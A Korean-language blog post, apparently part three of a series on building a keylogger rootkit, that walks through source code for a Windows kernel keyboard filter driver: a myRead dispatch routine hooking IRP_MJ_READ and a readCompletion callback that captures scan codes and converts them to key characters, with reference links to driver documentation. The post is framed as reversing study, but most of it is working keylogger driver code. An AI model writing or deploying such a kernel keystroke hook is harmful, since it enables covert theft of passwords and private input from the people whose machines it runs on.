메모장 입니다2

키로거 루트킷 제작 - 3) 소스설명 - myRead :: IRP Hook 본문

Study/리버싱

키로거 루트킷 제작 - 3) 소스설명 - myRead :: IRP Hook

Wooum@n 2020. 2. 23. 19:24

1.myRead

 

NTSTATUS myRead( 
IN PDEVICE_OBJECT  myDevObj, 
IN PIRP irp 
) 
{ 
//NTSTATUS ntStatus = STATUS_NOT_SUPPORTED; 
PMYDEVICE_EXTENSION pDeviceExtension; 
PDEVICE_OBJECT pNextDev; 
PIO_STACK_LOCATION pStack = IoGetCurrentIrpStackLocation(irp); 

irpCount++; 
DbgPrintEx(DPFLTR_IHVDRIVER_ID, 0, "start::myRead()\n"); 
DbgPrintEx(DPFLTR_ACPI_ID, 0, "irpCount:%x\n", irpCount); 
pDeviceExtension = (PMYDEVICE_EXTENSION)myDevObj->DeviceExtension; 
pNextDev = pDeviceExtension->pKeyboardDevice; 

switch (pStack->MajorFunction) { 
case IRP_MJ_READ:  //키보드가 입력됬을 경우
DbgPrintEx(DPFLTR_IHVDRIVER_ID, 0, "The keyboard has been pressed\n"); 
IoCopyCurrentIrpStackLocationToNext(irp); 

//IoSetCompletionRoutine(irp, readCompletion, myDevObj, TRUE, TRUE, TRUE); 
IoSetCompletionRoutineEx(myDevObj, irp, readCompletion, NULL, TRUE, TRUE, TRUE); 
break; 
default: 
break; 
} 

return IoCallDriver(pNextDev, irp); 
}



IoSetCompletionRoutineEx(myDevObj, irp, readCompletion, NULL, TRUE, TRUE, TRUE); 

: 키보드 입력 IRP 발생시 처리되는 콜백함수를 등록한다


return IoCallDriver(pNextDev, irp); 

: 다음 드라이버로 IRP를 넘겨주어, IRP가 정상적으로 처리될 수 있게한다.

 

 

 

 

2.readCompletion 콜백함수

NTSTATUS readCompletion(
PDEVICE_OBJECT DeviceObject,
PIRP irp,
PVOID Context)
{
//NTSTATUS ntStatus = STATUS_UNSUCCESSFUL;
UNREFERENCED_PARAMETER(DeviceObject);
UNREFERENCED_PARAMETER(Context);


PMYDEVICE_EXTENSION pMyDevExt = (PMYDEVICE_EXTENSION)DeviceObject->DeviceExtension;
DbgPrintEx(DPFLTR_ACPI_ID, 0, "Call readCompletion()\n");
if (irp->IoStatus.Status == STATUS_SUCCESS)
{
PKEYBOARD_INPUT_DATA keys = irp->AssociatedIrp.SystemBuffer;
int num_keys = irp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);

for (int i = 0; i < num_keys; i++)
{

DbgPrintEx(DPFLTR_ACPI_ID, 0, "ScanCode: %x\n", keys[i].MakeCode);

//키보드 데이터 담을 kData 할당
KEY_DATA* kData = (KEY_DATA*)ExAllocatePool(NonPagedPool, sizeof(KEY_DATA));
RtlZeroMemory(kData, sizeof(KEY_DATA));
//키보드 데이터 저장.
kData->keyScan = (char)keys[i].MakeCode;
kData->keyFlags = (char)keys[i].Flags;

//스캔코드 -> 키코드(아스키)
convertScanToKey(pMyDevExt, kData, kData->keyCode);
DbgPrintEx(DPFLTR_ACPI_ID, 0, "key:%s\n", kData->keyCode);
/*

//약간의 뻘짓
DbgPrintEx(DPFLTR_ACPI_ID, 0, "####\nchar:%c\n", ((PKEY_DATA)&kData->ListEntry)->keyCode);
if (!((strlen(kData->keyCode) != 0) && (kData->keyFlags == KEY_BREAK)))
goto exit;
KTIMER kTimer;
LARGE_INTEGER timeout;
timeout.QuadPart = (LONGLONG)TIME_SECOND(0.1);

while (flag_one == TRUE)
{
KeInitializeTimer(&kTimer);

KeSetTimer(&kTimer, timeout, NULL);
KeWaitForSingleObject(&kTimer, Executive, KernelMode, FALSE, NULL);

DbgPrintEx(DPFLTR_ACPI_ID, 0, "Waiting until data processing is completed.\n");
}
//키 데이터 리스트에 저장.
if (pMyDevExt->listHead == NULL)
{
DbgPrintEx(DPFLTR_ACPI_ID, 0, "@@@@@\nchar:%c\n", ((PKEY_DATA)&kData->ListEntry)->keyCode);
pMyDevExt->listHead = &kData->ListEntry;
//DbgPrintEx(DPFLTR_ACPI_ID, 0, "listHead:%x\n", pMyDevExt->listHead);
}
else
{
DbgPrintEx(DPFLTR_ACPI_ID, 0, "@@@@@\nchar:%c\n", ((PKEY_DATA)&kData->ListEntry)->keyCode);

PLIST_ENTRY pListCur = pMyDevExt->listHead;

while (pListCur->Blink != NULL)
{
//DbgPrintEx(DPFLTR_ACPI_ID, 0, "pListCur:%x\n", pListCur);
pListCur = pListCur->Blink;
}
//마지막 리스트 Blink에 현재 kData 연결.

pListCur->Blink = &kData->ListEntry;
pListCur->Blink->Flink = pListCur;
//DbgPrintEx(DPFLTR_ACPI_ID, 0, "end list:%x\n", pListCur->Blink);
}
*/
}
}
/*PLIST_ENTRY pListCur = pMyDevExt->listHead;

while (pListCur->Blink != NULL)
{
DbgPrintEx(DPFLTR_ACPI_ID, 0, "char:%c\n", ((PKEY_DATA)pListCur)->keyCode);
pListCur = pListCur->Blink;
}*/

//exit:

//완료루틴 설정시 시스템에서 pending 작업을 하지 않기때문에 수동으로 해줘야 한다.
if (irp->PendingReturned)
{
IoMarkIrpPending(irp);
}

irpCount--;
return irp->IoStatus.Status;
}

 

 

 

 

*.참조

 -드라이버 제작시 알아야할 사항

https://www.benjaminlog.com/entry/what-every-driver-programmer-should-know

 

윈도우 드라이버를 만들 때 알아야 할 기초적인 내용들

이전에 윈도우 드라이버를 공부하면서 정리해놨던 내용들이다. 여기에 있는 내용들은 전부 이 책에서 배운 내용들이다. 아마 지금까지 나온 윈도우 드라이버 책 중에 가장 좋은 책일 것이며, 앞으로도 이런 책은..

www.benjaminlog.com

 -MSDN :: IRP_MJ_READ

https://docs.microsoft.com/en-us/previous-versions//ff542213(v=vs.85)?redirectedfrom=MSDN

 

IRP_MJ_READ (Kbdclass) (Windows Drivers)

IRP_MJ_READ (Kbdclass) 08/04/2016 2 minutes to read In this article --> A IRP_MJ_READ request transfers data from the Kbdclass input data queue to a client. When Sent The raw input thread in the Microsoft Win32 subsystem sends read requests to obtain keybo

docs.microsoft.com